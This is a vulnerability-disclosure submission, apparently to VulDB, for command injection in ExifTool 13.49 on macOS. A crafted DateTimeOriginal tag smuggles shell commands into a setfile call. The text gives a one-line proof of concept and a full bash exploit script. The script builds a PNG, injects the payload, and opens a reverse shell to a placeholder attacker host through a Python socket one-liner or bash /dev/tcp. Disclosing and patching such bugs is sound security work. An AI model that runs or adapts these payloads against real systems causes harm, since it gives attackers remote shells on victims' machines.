提出 #758146: Exiftool 13.49 Arbitrary Code Execution

Here is the patch
https://github.com/exiftool/exiftool/commit/e9609a9bcc0d32bd252a709a562fb822d6dd86f7#diff-4e4ae7685b587fd469108c25437f7d9ad6e3defc6394d8681b38e36863467baaR416

POC:
Only for MacOS due to /usr/bin/setfile used which is part of a toolchain in Mac and also gated by check for OS 'darwin'

Use any png/jpg and name it evil_benign.jpg

```
../../exiftool -n -DateTimeOriginal="2026:02:07'\$(touch /tmp/exiftool_poc)'" ./evil_benign.jpg
cp evil_benign.jpg pwn.jpg;
../../exiftool -n -tagsFromFile evil_benign.jpg "-FileCreateDate<DateTimeOriginal" pwn.jpg
```

If this works, you should see `/tmp/exiftool_poc`

I was able to write a script to create a minimal png file and run this and get back a reverse shell

https://www.youtube.com/watch?v=akk0vmilfb4

to run: "DEBUG=1 ./poc.sh"

Not sure if you will want to process this but I have contacted MITRE for a while now but there are no response from them (my first time so i am not sure what the lead time is)

```sh
#!/usr/bin/env bash

DEBUG="${DEBUG:-0}"

dbg() {
[[ "$DEBUG" == "1" ]] && echo -e "$@"
}

POC_FILEPATH="/tmp/POC1"

# we cannot use python3 -m http.server 8080 wsince "-" is actually filtered out
# Recall teh regex:

# KEEP IN MIND
# $val =~ s{(\d{4}):(\d{2}):(\d{2})}{$2/$3/$1}; # reformat for setfile
# $cmd = "/usr/bin/setfile -d '${val}' '${f}'";

KALI_IP="<ATTACKER IP>"
KALI_PORT="<ATTACKER PORT>"

PAYLOAD="'; touch ${POC_FILEPATH}; (echo 'import socket,subprocess,os;s=socket.socket();s.connect((\"${KALI_IP}\",${KALI_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\"])' | python3 &); #"

PAYLOAD="'; touch ${POC_FILEPATH}; (bash </dev/tcp/${KALI_IP}/${KALI_PORT} 1>&0 2>&0 &); #"

PATH_TO_EXIFTOOL="../exiftool"

# Check if pocfile exists. if yes, delete it
if [[ -f $POC_FILEPATH ]]; then rm -f $POC_FILEPATH; fi

################################################################################################################
####################################### CREATE PNG OR JUST IMPORT AN EXISTING ONE ##############################
################################################################################################################

dbg "\t[+] Creating benign PNG file"
out="${1:-benign.png}"

# 1x1 transparent PNG
{
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
printf '\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89'
printf '\x00\x00\x00\x0A\x49\x44\x41\x54\x78\x9C\x63\x00\x01\x00\x00\x05\x00\x01\x0D\x0A\x2D\xB4'
printf '\x00\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82'
} > "$out"

################################################################################################################
####################################### ADD PAYLOAD TAG THEN TRIGGER CODE PATH #################################
################################################################################################################

dbg "\t[+] Setting Payload"
dbg "\t[+] Payload : ${PAYLOAD}"

cp ./benign.png ./evil.png

dbg "\t[+] Adding tag to evil.png"

$PATH_TO_EXIFTOOL -n -DateTimeOriginal="2026:02:07 ${PAYLOAD}" -overwrite_original ./evil.png
#$PATH_TO_EXIFTOOL -n -DateTimeOriginal="2026:02:07 ${PAYLOAD}" -overwrite_original ./evil.png > /dev/null

dbg "\t[+] Triggering Vulnerability when Copying Tag to FileCreateDate"

#$PATH_TO_EXIFTOOL -n -overwrite_original -tagsFromFile ./evil.png "-FileCreateDate<DateTimeOriginal" benign.png > /dev/null
$PATH_TO_EXIFTOOL -n -overwrite_original -tagsFromFile ./evil.png "-FileCreateDate<DateTimeOriginal" benign.png

dbg "\t[*] Bytes in benign.png"

[[ "$DEBUG" == "1" ]] && xxd ./benign.png
dbg "\t[*] Bytes in evil.png"

[[ "$DEBUG" == "1" ]] && xxd ./evil.png
dbg "[+] Removing artefacts"

rm evil.png* benign.png

################################################################################################################
####################################### CHECK FOR SUCCESSFUL EXPLOITATION ######################################
################################################################################################################
if [[ -f $POC_FILEPATH ]];
then
dbg "[+] Exploit Completed"
else
dbg "[-] Something went wrong. This should work for Exiftool v13.49 and below"
fi
```

• ユーザー: owl4444 (UID 95583)
• 送信: 2026年02月14日 06:49 (4 月 ago)
• モデレーション: 2026年02月24日 10:53 (10 days later)
• ステータス: 承諾済み
• VulDBエントリ: 347528 [exiftool 迄 13.49 上 macOS PNG File Parser MacOS.pm SetMacOSTags DateTimeOriginal 特権昇格]
• ポイント: 17